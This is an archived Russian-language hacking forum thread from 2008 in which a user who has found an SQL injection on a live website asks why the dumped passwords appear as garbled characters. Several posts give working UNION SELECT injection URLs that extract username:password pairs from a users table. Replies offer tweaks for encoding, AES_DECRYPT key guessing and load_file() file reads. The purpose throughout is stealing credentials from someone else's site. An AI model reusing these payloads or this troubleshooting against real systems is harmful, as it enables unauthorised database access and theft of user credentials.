Просмотр полной версии : абра-кадабра в паролях пользователей
Доброго дня античатовцы.
Вопрос следующий: на сайте нашел скуль, разделался с ней как написано в учебниках, в результате получил такую инъекцию
site.com/details.php?id=-5'+union+select+1,concat(username,char(58),passwor d),3+from+users_m_t+limit+10,1/*
по идеи должны вываливаться пары логин:пароль, но тут облом вышел, получаю вот что
shilpa:^��f�
patelph1:g�r1�n ну и т.д...
Что это за каракули в паролях?
Думал дело в кодировке, но смена не помогла.
groundhog
26.05.2008, 14:20
Посмотри в какой кодировке тебе отдаётся страница... Проблема как раз в кодировке, возможно это можно обойти с помощью Convert... Без ссылки не могу сказать более точно...
либо покоцаные, либо кодировка не та, либо попробуй using latin1 и т.п.
WeddRRRyss
26.05.2008, 14:39
Пассы просто захешированы. Походу не в мд5, а в чем то другом.
Пассы просто захешированы. Походу не в мд5, а в чем то другом.
Это не хеш!Имхо это кодировка !
WeddRRRyss
26.05.2008, 14:52
Это не хеш!Имхо это кодировка !
Если кодировка, то еще проще. не придется брутить. Главное понять в чем закодированны пасс.
встречался однажды с такой херью
попробуй поюзать convert()
geezer.code
26.05.2008, 15:42
мне обычно помогает cast( ... as binary)
либо покоцаные, либо кодировка не та, либо попробуй using latin1 и т.п.
попробовал вот так
http://site.com/details.php?id=-5'+union+select+1,concat(username,char(58),convert (password+using+latin1)),3+from+users_m_t+limit+10 ,1/*
те же каракули
при использовании cast (... as binary) тоже ничего хорошего.
в какой кодировке сама страница?
groundhog
26.05.2008, 19:54
Урлу в студию
в какой кодировке сама страница?
UTF-8
blackybr
27.05.2008, 10:41
скорее всего в базе они хранятся aes_encrypt-еные, нуждны скрипты чтобы знать с каким шифром декриптить
скорее всего в базе они хранятся aes_encrypt-еные, нуждны скрипты чтобы знать с каким шифром декриптить
"врагу не здается наш гордый варяг ..." :)
значит попробовал вот что:
http://site.com/details.php?id=-5'+union+select+1,concat(username,char(58),AES_DEC RYPT(AES_ENCRYPT(version(),0x71),0x71)),3+from+use rs_m_t+limit+17,1/*
проконало... раньше данные типа user(), version() получить не удавалось, подставил password... Сцуко опять каракули :mad:
раньше данные типа user(), version() получить не удавалось
были проблемы с кодировкой
подставил password... Сцуко опять каракули
значит пасы всётаки криптованы :(
1.попробуй найти исходники если движёк беплатный
2.используй load_file() может с правами повезёт
Jokester
29.05.2008, 18:26
были проблемы с кодировкой
1)Да не проблемы с кодировкой, а скорее всего фильтрация скобок
2)Пароли естественно криптованные, это уже blackybr написал
используй load_file() может с правами повезёт3) Что значит МОЖЕТ с правами повезёт? User()=root повезло нет ,не повезло :D
1.попробуй найти исходники если движёк беплатный
2.используй load_file() может с правами повезёт
1. к сожалению движек самописный и исходников не достать.
2. user()!=root и привелегий на load_file тоже нет(
Значит, мнение что пароли шифрованы оказывается реальным, значит я так понимаю, нужно запрашивать типа так
http://site.com/details.php?id=-5'+union+select+1,concat(username,char(58),AES_DEC RYPT(version(),XXX)),3+from+users_m_t+limit+17,1/*
, где XXX-ключ
вроде так...
Jokester
30.05.2008, 16:07
Не факт.
Алгоритм шифрования тоже может быть самописным
Ищи другие пути
P.S Я полагаю сдесь >>AES_DEC RYPT(version(),XXX) ты просто опечатался вместо version() поле пароля
Не факт.
Алгоритм шифрования тоже может быть самописным
Ищи другие пути
P.S Я полагаю сдесь >>AES_DEC RYPT(version(),XXX) ты просто опечатался вместо version() поле пароля
да хотел конечно password... но буду дальше пытаться.
3) Что значит МОЖЕТ с правами повезёт? User()=root повезло нет ,не повезло :D
не только root имеет привелегия File_priv
по ходу там крипт в sha1(), я как-то с таким сталкивался, тож херь какая-то вылазила, у меня было sha1(base_64())
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot